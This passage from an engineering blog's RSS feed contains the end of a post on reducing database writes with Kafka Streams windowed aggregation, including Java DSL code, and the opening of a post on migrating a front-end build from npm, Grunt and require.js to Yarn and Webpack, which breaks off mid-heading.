Zookeeper runs the leader election algorithm in a fair and consistent manner. For versions less than 0.9 Apache Zookeeper was also used for managing the &lt;strong&gt;&lt;em&gt;offsets&lt;/em&gt;&lt;/strong&gt; of the consumer group. &lt;strong&gt;&lt;em&gt;Offset management&lt;/em&gt;&lt;/strong&gt; is the mechanism, which tracks the number of records that have been consumed from a partition of a topic for a particular consumer group. Kafka 0.10 came out with out of the box support for &lt;strong&gt;Stream Processing&lt;/strong&gt;. This streaming platform enables capturing flow of events and changes caused by these events, and store these to other data systems such as RDBMS, key-value stores, or some warehouse depending upon use case. I was really happy and took it for a run by doing some counting aggregations. The aggregation was fast and I hardly had to write 50 lines for it. I was very happy and impressed with results. I streamed around 2 million events in around a minute on my laptop with couple of instances only. But I never got a chance to use it in production for a year or so.&lt;/p&gt; &lt;p&gt;Around 3 months back when our team started stress testing backend stores by generating a lot of data, our backend stores started to give up due to the high number of insertion and updates. We didn’t have the choice to add more hardware as we were already using a lot of resources and wanted a solution that fits our current bill. Our data team had lot of discussions and I heard a lot of people talk about things like &lt;a href=&quot;http://samza.apache.org/&quot; title=&quot;Apache Samza&quot;&gt;&lt;strong&gt;&lt;em&gt;Apache Samza&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;https://spark.apache.org/&quot; title=&quot;***Apache Spark***&quot;&gt;&lt;strong&gt;&lt;em&gt;Apache Spark&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;https://flink.apache.org/&quot; title=&quot;***Apache Flink***&quot;&gt;&lt;strong&gt;&lt;em&gt;Apache Flink&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; etc. Because, we have a small team, adding another component in technology stack was not a good idea and I didn’t want team to spend time learning about these technologies with product release around the corner. Since our data pipeline is built around Kafka, I started playing around with data. The idea was to convert multiple updates to the backend stores into a single update/insert to ensure that number of hits that our DB is taking is reduced. Since we process a lot of data, we thought about windowing our events based on time and aggregating them. I started to work on it and in matter of hours my streaming application was ready. We started with 1 minute window and we were surprised with the result. We were able to reduce DB hits by 70%. &lt;strong&gt;YES 70 PERCENT!!!!!!&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Here are the screenshots from one of our servers that show the impact of window aggregation.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/10/kafka-streams-before-aggregation.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;&lt;b&gt;Before Aggregation&lt;/b&gt;&lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/10/kafka-streams-after-aggregation.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;&lt;b&gt;After Aggregation&lt;/b&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;With streaming capabilities built into it, &lt;strong&gt;Apache Kafka&lt;/strong&gt; has become one of the most powerful tool that allows you to store and aggregate data at insane speed. And we’ll see a gain in its adoption in coming years.&lt;/p&gt; &lt;h3 id=&quot;lets-see-how-kafka-streams-work&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lets-see-how-kafka-streams-work&quot; aria-label=&quot;lets see how kafka streams work permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Let’s see how Kafka Streams work&lt;/h3&gt; &lt;p&gt;Kafka Streams allows us to perform stream processing, hence requires some sort of internal state management. This internal state is managed in &lt;strong&gt;state stores which uses RocksDB&lt;/strong&gt;. A state store can be lost on failure or fault-tolerant restored after the failure. The default implementation used by Kafka Streams DSL is a fault-tolerant state store using&lt;/p&gt; &lt;ul&gt; &lt;li&gt;An internally created and compacted changelog topic (for fault-tolerance)&lt;/li&gt; &lt;li&gt;One (or multiple) RocksDB instances (for cached key-value lookups). Thus, in case of starting/stopping applications and rewinding/reprocessing, this internal data needs to get managed correctly.&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;kstream-and-ktable&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#kstream-and-ktable&quot; aria-label=&quot;kstream and ktable permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;KStream and KTable&lt;/h4&gt; &lt;p&gt;&lt;strong&gt;KStream&lt;/strong&gt; is an abstraction of a record stream of Key-Value pairs. So if you have a click stream coming in, and you are trying to aggregate session level information, the key will be session id and the other information will be the value. Similarly for URL level aggregation, a combination of URL and session will be the key.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;KTable&lt;/strong&gt; is an abstraction of a changelog stream from a primary-keyed table. Each record in this stream is an update on the primary-keyed table with the record key as the primary key. The aggregation results are stored in KTable. Intermediate aggregation uses a RocksDB instance as key-value state store that also persists to local disk. Flushing to disk happens asynchronously to keep it fast and non blocking. An internal compacted changelog topic is also created. The state store sends changes to the changelog topic in a batch, either when a default batch size has been reached or when the commit interval is reached. A pictorial representation of what happens under the hood is given below&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/10/kafka-streams-internal-functioning.png&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Kafka Streams Internal Functioning&lt;/b&gt;&lt;br&gt; &lt;i&gt;*Image is taken from Apache Kafka documentation&lt;/i&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Kafka Streams commit the current processing progress in regular intervals. If a commit is triggered, all state stores need to flush data to disc, i.e., all internal topics needs to get flushed to Kafka. Finally, all current topic offsets are committed to Kafka. In case of failure and restart, the application can resume processing from its last commit point.&lt;/p&gt; &lt;h3 id=&quot;lets-understand-this-with-help-of-an-example&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lets-understand-this-with-help-of-an-example&quot; aria-label=&quot;lets understand this with help of an example permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Let’s understand this with help of an example&lt;/h3&gt; &lt;p&gt;Imagine a stream of such events coming to server for a very high traffic website. Let’s assume there is a big web gaming platform where 50K-80K concurrent users generate about 80K-120K events per second and there is a requirement to find following things:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Number of clicks user has done in a session&lt;/li&gt; &lt;li&gt;Total Pages he has viewed in a session&lt;/li&gt; &lt;li&gt;Total amount of time user has spent in a session.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Let the JSON structure be as follows:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;uuid&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;user id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;session_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;some uuid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;event&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;click/page_view&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;time_spent&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Ingestion at above mentioned pace in a DB or ensuring that these events gets stored in DB in itself is a challenge. A lot of hardware will be required to cope with this traffic as it is. Hence, it doesn’t make sense to store data directly in DB. A streaming application is a very good fit here. A streaming application is going to leverage the fact that for most of the user the clicks and page views will be concentrated in a time window. So it is possible that in 5 minutes a user might be clicking x times and giving y pageviews on an average. We can introduce a 5 minute window and club these request to form a single equivalent DB request. Hence reducing (x+y) hits to 1 hit in a window of 5 minutes. Thus reducing the traffic to 1/(x+y) of what was coming earlier.&lt;/p&gt; &lt;p&gt;I have written a &lt;a href=&quot;https://github.com/aman1064/kafka-streams-example&quot; title=&quot; Sample Project&quot;&gt;&lt;strong&gt;Sample Kafka Streams Project&lt;/strong&gt;&lt;/a&gt; to make it easier for you to understand. Let’s take a look at sequence diagram below. This diagram shows how various components of sample project interact with each other.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/10/kafka-streams-aggregation-sequence.png&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Kafka Streams Sequence Diagram&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;All this flow is defined with the help of Kafka Streams DSL, the code snippet is given below&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;//Defining Source Streams from multiple topics.&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KStream&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ClickStream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; clickStream &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; kStreamBuilder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stringSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; clickStreamSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TOPIC_PROPERTIES&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;topic.click.input&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Kafka Streams DSL in action with filtering and cleaning logic and passing it through aggregation collector&lt;/span&gt; clickStream &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValue&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getSessionId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;through&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stringSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; clickStreamSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TOPIC_PROPERTIES&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;topic.click.output&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;groupBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stringSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; clickStreamSerde&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;aggregate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ClickStreamCollector&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; clickStreamCollector&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; clickStreamCollector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TimeWindows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; collectorSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TOPIC_PROPERTIES&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;topic.click.aggregation&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;windowedSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; collectorSerde&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ClickStreamPartitioner&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TOPIC_PROPERTIES&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;topic.click.summary&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;It’s worth noting that for each step we need to define a serializer and deserializer. In above code snippet&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;&lt;em&gt;stringSerde: Defines the Serialization and Deserialization for String&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;em&gt;clickStreamSerde: Defines the Serialization and Deserialization for Raw click Data&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;em&gt;collectorSerde: Defines the Serialization and Deserialization for RocksDB intermediate storage.&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;em&gt;windowedSerde: Defines the serialization and Deserialization for Kafka Windowed Aggregation storage&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Its very easy to implement streams over Kafka and it can be leveraged to reduce the DB traffic and for other applications, where windowing or sessionization makes sense. You can play around with this project and in case you want to reach out to me or have any doubt please drop your queries in comments section.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Happy Streaming..!&lt;/strong&gt;&lt;/p&gt;</content:encoded><author>Amandeep Singh</author></item><item><title><![CDATA[Migrating towards Yarn and Webpack]]></title><description><![CDATA[For the past couple of years, we have been using require.js for module loading and Grunt for automating tasks on front-end, for one out of…]]></description><link>https://engineering.wingify.com//posts/migrating-towards-yarn-webpack/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/migrating-towards-yarn-webpack/</guid><pubDate>Wed, 04 Oct 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/2017/10/migrating-towards-yarn-webpack-header.jpg&quot;&gt;&lt;/p&gt; &lt;p&gt;For the past couple of years, we have been using &lt;a href=&quot;http://requirejs.org/&quot;&gt;require.js&lt;/a&gt; for module loading and &lt;a href=&quot;https://gruntjs.com/&quot;&gt;Grunt&lt;/a&gt; for automating tasks on front-end, for one out of many projects we have in Wingify. The project has a huge code-base and has many independent components inside it with some shared utilities. Also, there was no concrete build system which could be scaled upon adding new components.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Require.js&lt;/strong&gt; was being used for good code-structuring, managing modules and their loading. All the different modules were having their own &lt;code class=&quot;language-text&quot;&gt;require-config.js&lt;/code&gt; file to define rules for a particular module.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Grunt&lt;/strong&gt; was being used for automating different tasks required to speed up mundane work. We had a number of tasks like the &lt;a href=&quot;https://github.com/gfranko/amdclean&quot;&gt;require-amdclean&lt;/a&gt; task, concatenating different script / CSS files, minification of files, cache-busting mechanism and so on.&lt;/p&gt; &lt;p&gt;Following are some benefits we were getting from the &lt;code class=&quot;language-text&quot;&gt;require-amdclean&lt;/code&gt; task:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;We didn&apos;t have to include &lt;code class=&quot;language-text&quot;&gt;require.js&lt;/code&gt; in production, thus, saving some bytes.&lt;/li&gt; &lt;li&gt;Generation of single js file entirely in Vanilla JavaScript.&lt;/li&gt; &lt;li&gt;Get rid of file size/source code readability concerns.&lt;/li&gt; &lt;li&gt;It was a great fit to be used as a standalone Javascript library, which is exactly our case.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Everything was working as expected but maintenance, performance, and scale were the issues. We had so many healthy discussions regarding improving things and thus we thought of upgrading our tech stack too. Also, as I mentioned we didn&apos;t have a concrete build system; it was the right time to investigate further. We were ready to spend some quality time in researching technologies which could fit in our build system. &lt;a href=&quot;https://twitter.com/gauravmuk&quot;&gt;Gaurav Nanda&lt;/a&gt; and I took a break from our daily chores and read many articles/blogs and the &lt;em&gt;not-so-useful&lt;/em&gt; official docs to get a good command over various technologies. Migrating from &lt;code class=&quot;language-text&quot;&gt;Grunt&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;Gulp&lt;/code&gt; wasn&apos;t helping us since build time was nearly the same. The task which took a lot of time was the &lt;code class=&quot;language-text&quot;&gt;require-amdclean&lt;/code&gt; task, taking around &lt;code class=&quot;language-text&quot;&gt;10 seconds&lt;/code&gt; even for adding just a single character like &lt;code class=&quot;language-text&quot;&gt;;&lt;/code&gt; while working in the development environment.&lt;/p&gt; &lt;h3 id=&quot;migrating-from-npm-to-yarn---first-step-towards-a-new-journey&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#migrating-from-npm-to-yarn---first-step-towards-a-new-journey&quot; aria-label=&quot;migrating from npm to yarn first step towards a new journey permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Migrating from NPM to Yarn - First step towards a new journey&lt;/h3&gt; &lt;p&gt;After reading about &lt;a href=&quot;https://yarnpkg.com/en/&quot;&gt;Yarn&lt;/a&gt;, the team was really curious to play with this yet new package manager aka dependency manager. When we benchmarked the results, we were literally stunned by the time difference between NPM and Yarn in fetching up resources. Yarn achieves this speed by introducing parallelism and its performance and security via maintaining a &lt;code class=&quot;language-text&quot;&gt;yarn.lock&lt;/code&gt; file.&lt;/p&gt; &lt;p&gt;For a total of &lt;code class=&quot;language-text&quot;&gt;34&lt;/code&gt; packages in total, the following stats would please your eyes too :)&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;yarn@1.0.2 npm@3.10.10&lt;/p&gt; &lt;/blockquote&gt; &lt;h4 id=&quot;stats-when-we-did-a-fresh-install&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#stats-when-we-did-a-fresh-install&quot; aria-label=&quot;stats when we did a fresh install permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Stats 